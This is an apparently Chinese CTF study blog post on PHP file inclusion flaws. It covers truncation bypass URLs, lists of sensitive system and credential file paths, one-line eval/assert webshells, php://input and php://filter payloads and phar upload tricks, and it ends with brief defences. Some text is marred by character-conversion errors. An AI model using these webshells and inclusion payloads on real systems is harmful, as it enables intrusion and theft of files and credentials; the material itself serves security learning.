写在前边
最近两天忽然失去梦想,作题目全是知识盲区,就放弃思考了几天,想一想仍是写点什么,这里先总结一下什么是文件包含以及以PHP伪协议的文件包含利用,后续再更新CTF的实战php
注意:全部实验必需要在php.ini中 allow_url_fopen =On 、allow_url_include = On
文件包含漏洞原理
程序开发人员通常会把重复使用的函数写到单个文件中,须要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程通常被称为文件包含。在实际WEB应用中,当页眉须要更新时,只更新一个包含文件就能够了,或者当您向网站添加一张新页面时,仅仅须要修改一下菜单文件(而不是更新全部网页中的连接)。html
开发人员都但愿代码更加灵活,因此一般会将被包含的文件设置为变量,在文件包含函数加载的参数没有通过过滤或者严格的定义,能够被用户控制,包含其余恶意文件,致使了执行了非预期的代码。mysql
PHP常见文件包含函数
include()、include_once()、require()、require_once()linux
include()和require()区别
- require 生成一个致命错误(E_COMPILE_ERROR),在错误发生后脚本会中止执行。
- include 生成一个警告(E_WARNING),在错误发生后脚本会继续执行
演示一下,新建一个测试文件a.php,在同目录下有个home.php、upload.php、download.php这三个文件,我nginx
<?php $filename = $_GET['filename']; include($filename); echo '$filename='.$filename; ?>
在同目录下有个home.php、upload.php、download.php这三个文件,只要根据不一样的参数,咱们就能够访问不一样的文件web
此时,咱们访问的当前目录下的文件,若是不限制参数,咱们能够读取其余其余路径下的文件,这里有个绝对路径和相对路径的概念sql
新建一个aaa.php,这里存放一个类shell
<?php class Man{ public $name; public function eat(){ echo $this->name." eating";} } ?>
再建一个aa.php,用来测试apache
<?php include('路径'); //修改导入路径 $a = new Man(); $a->name = 'Lee'; $a->eat(); ?>
绝对路径:绝对路径是指文件在硬盘上真正存在的路径。如修改路径为 /var/www/html/web/aaa.phpubuntu
include('/var/www/html/web/aaa.php')
相对路径:就是相对于本身的目标文件位置 如 ./aaa.php,只要两个文件相对的路径不变,那么实际就是对的
include('./aaa.php');
了解了什么是包含和路径,如今具体来看看文件包含漏洞
PHP文件包含漏洞
文件包含漏洞利用的前提条件:
(1)web 应用采用 include 等文件包含函数,而且须要包含的文件路径是经过用户传输参数的方式引入;
(2)用户可以控制包含文件的参数,被包含的文件可被当前页面访问;
一、无限制本地文件包含漏洞
依照刚刚所讲述的,咱们利用filename这个参数控制咱们访问的页面,再参照路径问题,当未对参数进行访问控制时,咱们能够访问其余路径下的文件,个人服务器是在Linux上的
二、有限制本地文件包含漏洞绕过
测试代码:
<?php $filename = $_GET['filename']; include($filename . ".html"); ?>
2.1 %00截断
条件:magic_quotes_gpc = Off php版本<5.3.4
2.2 路径长度截断
条件:windows OS,点号须要长于256;linux OS 长于4096
EXP
http:/127.0.0.1/web/test.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
2.3 点号截断
条件:windows OS,点号须要长于256
EXP
http://127.0.0.1/web/test.php?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
发现能够访问一些敏感路径
Linux的敏感路径
/etc/passwd /usr/local/app/apache2/conf/httpd.conf //apache2 默认配置文件 /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置 /usr/local/app/php5/lib/php.ini //PHP 相关配置 /etc/httpd/conf/httpd.conf //apache /etc/php5/apache2/php.ini //ubuntu 系统的默认路径
Windows的敏感路径
C:\boot.ini //查看系统版本 C:\windows\system32\inetsrv\MetaBase.xml //IIS 配置文件 C:\windows\repair\sam //存储 windows 系统初次安装的密码 C:\Program Files\mysql\my.ini //mysql 配置 C:\Program Files\mysql\data\mysql\user.MYD //Mysql root C:\windows\php.ini //php 配置信息 C:\windows\my.ini //mysql 配置文件
日志默认路径
(1) apache+Linux 日志默认路径 /etc/httpd/logs/access_log /var/log/httpd/access_log (2) apache+win2003 日志默认路径 D:\xampp\apache\logs\access.log D:\xampp\apache\logs\error.log (3) IIS6.0+win2003 默认日志文件 C:\WINDOWS\system32\Logfiles (4) IIS7.0+win2003 默认日志文件 %SystemDrive%\inetpub\logs\LogFiles (5) nginx 日志文件 日志文件在用户安装目录 logs 目录下
web 中间件默认配置
(1) apache+linux 默认配置文件 /etc/httpd/conf/httpd.conf index.php?page=/etc/init.d/httpd (2) IIS6.0+win2003 配置文件 C:/Windows/system32/inetsrv/metabase.xml (3) IIS7.0+WIN 配置文件 C:\Windows\System32\inetsrv\config\applicationHost.config
二、远程文件包含
这有个颇有意思的地方,咱们能够利用PHP的这个文件包含特性去访问另外一台服务器的文件,测试代码
<?php $filename = $_GET['filename']; include($filename); ?>
这可能会爆警告,但不用管他,咱们只关心ERROR,WARNING爱咋咋的,我这开启了另外一台服务器,有个phpinfo.php显示php版本的文件
三、文件包含+改写文件
来设置一个极端场景,用户能够经过修改参数来更新本身的信息保存在另外一个文件里
<?php
$filename = $_GET['filename'];
include('$filename');
$input_txt = $_GET['input_txt'];
$myfile = fopen("user.php", "w") or die("Unable to open file!");
fwrite($myfile, $input_txt);
fclose($myfile);
?>
(真实场景中绝对不可能出现这种代码,这里只是演示 ORZ )
发现咱们能够控制访问的文件和写入,这里咱们经过传参修改一下user.php的内容(这里有个小BUG,第一次修改的时候不会显示修改的值,刷新才两次才更新,毕竟要先写入后再返回)
若是咱们输入的PHP代码呢?
发现成功执行了phpinfo()这个函数,这样,咱们能够修改相对应的文件进行getshell,这里就简单介绍一下利用代码执行函数和命令执行函数来getshell(一些奇怪的实战可能须要等刷到题),像这样文件包含和改写的在CTF中常常与序列化结合在一块儿,不了解序列化的能够去看一下 https://www.cnblogs.com/Lee-404/p/12771032.html
这边还有一个session.php利用,实际上3利用方法同样的,前提是必须知道session.php的位置,phpinfo中可获取
一句话木马
文件包含获取 webshell 的条件:
(1)攻击者须要知道文件存放的物理路径;
(2)对上传文件所在目录拥有可执行权限;
(3)存在文件包含漏洞;
菜刀马的原理是调用了PHP的代码执行函数,常见的一句话菜刀马,就是调用了eval函数、assert函数。
一、eval()
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
若是没有在代码字符串中调用 return 语句,则返回 NULL。若是代码中存在解析错误,则 eval() 函数返回 false。
<?php @eval($_POST['cmd']);?> //菜刀密码为cmd
改写成功,接下来链接,我这菜刀链接不上,可能本地防火墙缘由,因此用hackbar链接
二、assert()函数
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
若是没有在代码字符串中调用 return 语句,则返回 NULL。若是代码中存在解析错误,则 eval() 函数返回 false。
<?php @assert($_POST['cmd'])?> //用法和eval同样,具体后续再分析
PHP伪协议
php://input(写木马)
php://input 是个能够访问请求的原始数据的只读流。 POST 请求的状况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,由于它不依赖于特定的 php.ini 指令。 并且,这样的状况下 $HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data 潜在须要更少的内存。 enctype=”multipart/form-data” 的时候 php://input 是无效的。 ——php.net
简单说就是获取post数据。
test.php
<?php $d = file_get_contents('php://input'); @eval($d) ?>
php://filter(读文件)
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数很是有用,相似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取以前没有机会应用其余过滤器。 ——php.net
简单说常常利用它进行base64编码,在CTF中,常常出现,咱们利用
php://filter/read=convert.base64-encode/resource=xxx //xxx是文件名
测试代码
<?php $filename = $_GET['filename']; include($filename); ?>
以base64的方式输出,解码 https://base64.supfree.net/
zip://,bzip2://,zlib:// (上传)
zlib: 的功能相似 gzopen(),可是 其数据流还能被 fread() 和其余文件系统函数使用。 自 PHP 4.3.0 后这个不建议被使用,由于会和其余带“:”字符的文件名混淆; 请使用 compress.zlib:// 做为替代。compress.zlib://、 compress.bzip2:// 和 gzopen()、bzopen() 是相等的。而且能够在不支持 fopencookie 的系统中使用。ZIP 扩展 注册了 zip: 封装器。 自 PHP 7.2.0 和 libzip 1.2.0+ 起,加密归档开始支持密码,容许数据流中使用密码。 字节流上下文(stream contexts)中使用 ‘password’ 选项设置密码。 ——php.net
简单说就是直接访问压缩包里的文件。将phpinfo.txt压缩成zip,实战中能够改后缀为jpg绕过上传限制。
data://伪协议
数据流封装器,和php://类似都是利用了流的概念,将本来的include的文件流重定向到了用户可控制的输入流中,简单来讲就是执行文件的包含方法包含了你的输入流,经过你输入payload来实现目的;若是php.ini里的allow_url_include=On(PHP < 5.3.0),就能够形成任意代码执行
phar://伪协议
这个参数是就是php解压缩包的一个函数,无论后缀是什么,都会当作压缩包来解压。
用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意: PHP > =5.3.0 压缩包须要是zip协议压缩,rar不行,将木马文件压缩后,改成其余任意格式的文件均可以正常使用。 步骤: 写一个一句话木马文件shell.php,而后用zip协议压缩为shell.zip,而后将后缀改成png等其余格式。注意:PHP > =5.3.0 压缩包须要是zip协议压缩,rar不行,将木马文件压缩后,改成其余任意格式的文件均可以正常使用。 步骤: 写一个一句话木马文件shell.php,而后用zip协议压缩为shell.zip,而后将后缀改成png等其余格式。
在CTF中,能够利用这些伪协议来进行骚操做
防护方案
- 在不少场景中都须要去包含web目录以外的文件,若是php配置了open_basedir,则会包含失败
- 作好文件的权限管理
- 对危险字符进行过滤等等
参考连接
https://blog.csdn.net/nzjdsds/article/details/82461043
https://www.freebuf.com/articles/web/182280.html
https://www.cnblogs.com/fox-yu/p/9134848.html